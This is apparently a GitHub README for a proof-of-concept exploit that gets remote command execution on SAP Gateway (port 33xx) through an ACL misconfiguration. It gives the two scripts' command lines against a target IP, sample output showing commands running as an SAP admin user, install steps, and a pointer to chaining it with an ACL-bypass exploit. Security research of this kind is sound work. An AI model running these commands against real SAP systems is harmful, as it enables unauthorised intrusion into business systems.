polling-repo-continua / sap_gw_rce_exploit Goto Github PK

What is it?

This PoC exploits an ACL misconfiguration in the SAP Gateway (port 33xx) that leads to a Remote Command Execution (RCE).

SAPanonGWv1.py is the first version of the exploit based on raw packets sent. It does not require any additional modules (Run and Pwn!).

SAPanonGWv2.py is the second version of the exploit based on the pysap library.

Creds

These PoCs were developed by Dmitry @_chipik Chastuhin

How to use

➜python SAPanonGWv1.py -t 172.16.30.28 -p 3300 -c whoami
[*] sending cmd:whoami
n45adm

➜python SAPanonGWv2.py -t <ip> -p 3300 -c whoami
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_SEND
[INFO ] [+] Sending F_SAP_SEND2
n45adm

Installation

Only for SAPanonGWv2.p

git clone https://github.com/gelim/pysap
pip install -r pysap/requirements.txt
python pysap/setup.py install
git clone https://github.com/chipik/SAP_GW_RCE_exploit

or

git clone https://github.com/chipik/SAP_GW_RCE_exploit
pip install -r SAP_GW_RCE_exploit/requirements.txt

SAP GW ACL bypass

You can use these exploits together with SAP MS Trusted exploit that allows you to bypass dafault sec_info ACL

See our presentation for details

Contributors

Contributions made by:

• Dmitry Chastuhin (@_chipik)
• Mathieu Geli (@gelim)